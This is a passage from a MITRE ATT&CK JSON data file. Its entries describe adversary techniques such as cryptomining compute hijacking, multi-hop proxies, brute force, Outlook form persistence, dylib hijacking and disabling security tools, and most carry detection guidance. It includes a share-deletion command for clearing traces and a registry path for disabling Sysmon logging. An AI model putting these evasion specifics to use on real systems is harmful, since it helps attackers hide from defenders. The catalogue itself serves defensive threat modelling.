                    "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:08:46.014Z",
            "name": "Compute Hijacking",
            "description": "Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Sensor Health: Host Status",
                "Process: Process Creation",
                "File: File Creation"
            ],
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
            "created": "2020-01-31T12:39:18.816Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/005",
                    "external_id": "T1070.005"
                },
                {
                    "source_name": "Technet Net Use",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/bb490717.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:18.727Z",
            "name": "Network Share Connection Removal",
            "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Command: Command Execution",
                "Process: Process Creation",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "created": "2020-03-14T23:23:41.770Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1090/003",
                    "external_id": "T1090.003"
                },
                {
                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"
                },
                {
                    "source_name": "NGLite Trojan",
                    "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
                },
                {
                    "source_name": "Onion Routing",
                    "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.",
                    "url": "https://en.wikipedia.org/wiki/Onion_routing"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:56.270Z",
            "name": "Multi-hop Proxy",
            "description": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks \u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.(Citation: ORB Mandiant) \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s Wide-Area Network (WAN).  Protocols such as ICMP may be used as a transport.  \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Eduardo Chavarro Ovalle"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "created": "2017-05-31T21:31:22.767Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110",
                    "external_id": "T1110"
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"
                },
                {
                    "source_name": "Dragos Crashoverride 2018",
                    "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.",
                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:56.556Z",
            "name": "Brute Force",
            "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Magno Logan, @magnologan, Trend Micro",
                "Yossi Weizman, Azure Defender Research Team",
                "Ed Williams, Trustwave, SpiderLabs",
                "Mohamed Kmal"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "2.7",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Command: Command Execution",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "created": "2020-03-09T14:15:05.330Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/004",
                    "external_id": "T1059.004"
                },
                {
                    "source_name": "Apple ZShell",
                    "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.",
                    "url": "https://support.apple.com/HT208050"
                },
                {
                    "source_name": "DieNet Bash",
                    "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.",
                    "url": "https://linux.die.net/man/1/bash"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:56.647Z",
            "name": "Unix Shell",
            "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nSome systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
            "created": "2019-11-07T20:06:02.624Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/003",
                    "external_id": "T1137.003"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "SensePost Outlook Forms",
                    "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.",
                    "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:55:18.800Z",
            "name": "Outlook Forms",
            "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a9fb6b3f-4a3c-4703-a4f1-f55f83d1e017",
            "created": "2025-03-26T15:36:18.409Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1219/003",
                    "external_id": "T1219.003"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence DPRK IT Workers 2024",
                    "description": "Codi Starks, Michael Barnhart, Taylor Long, Mike Lombardi, Joseph Pisano, and Alice Revelli. (2024, September 23). Staying a Step Ahead: Mitigating the DPRK IT Worker Threat. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/mitigating-dprk-it-worker-threat/"
                },
                {
                    "source_name": "Palo Alto Unit 42 North Korean IT Workers 2024",
                    "description": "Evan Gordenker. (2024, November 13). Global Companies Are Unknowingly Paying North Koreans: Here\u2019s How to Catch Them. Retrieved March 26, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/north-korean-it-workers/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-05-02T19:13:42.314Z",
            "name": "Remote Access Hardware",
            "description": "An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment.  \n\nRemote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).(Citation: Palo Alto Unit 42 North Korean IT Workers 2024)(Citation: Google Cloud Threat Intelligence DPRK IT Workers 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Joe Gumke, U.S. Bank",
                "Shwetank Murarka",
                "Michael Davis, ServiceNow Threat Intelligence"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Drive: Drive Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1157",
                    "external_id": "T1157"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html",
                    "external_id": "CAPEC-471"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:58.533Z",
            "name": "Dylib Hijacking",
            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "created": "2020-02-21T20:32:20.810Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/001",
                    "external_id": "T1562.001"
                },
                {
                    "source_name": "Analysis of FG-IR-22-369",
                    "description": " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.",
                    "url": "https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis"
                },
                {
                    "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
                    "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "BlackBerry WhisperGate 2022",
                    "description": "BlackBerry Research and Intelligence Team. (2022, February 3). Threat Spotlight: WhisperGate Wiper Wreaks Havoc in Ukraine. Retrieved March 18, 2025.",
                    "url": "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine"
                },
                {
                    "source_name": "OutFlank System Calls",
                    "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
                    "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "chasing_avaddon_ransomware",
                    "description": "Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.",
                    "url": "https://www.mandiant.com/resources/chasing-avaddon-ransomware"
                },
                {
                    "source_name": "doppelpaymer_crowdstrike",
                    "description": "Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/"
                },
                {
                    "source_name": "avoslocker_ransomware",
                    "description": "Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.",
                    "url": "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html"
                },
                {
                    "source_name": "dharma_ransomware",
                    "description": "Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.",
                    "url": "https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/"
                },
                {
                    "source_name": "MDSec System Calls",
                    "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
                    "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
                },
                {
                    "source_name": "SCADAfence_ransomware",
                    "description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.",
                    "url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"
                },
                {
                    "source_name": "demystifying_ryuk",
                    "description": "Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.",
                    "url": "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence FIN13 2021",
                    "description": "Van Ta, Jake Nicastro, Rufus Brown, and Nick Richard. (2021, December 7). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved March 18, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/fin13-cybercriminal-mexico/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:57.147Z",
            "name": "Disable or Modify Tools",
            "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\n\nAdversaries may also focus on specific applications such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, 